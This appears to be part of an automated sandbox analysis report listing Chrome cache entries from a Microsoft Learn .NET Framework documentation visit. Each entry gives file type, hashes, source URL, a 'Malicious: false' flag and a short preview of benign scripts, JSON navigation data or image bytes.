Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
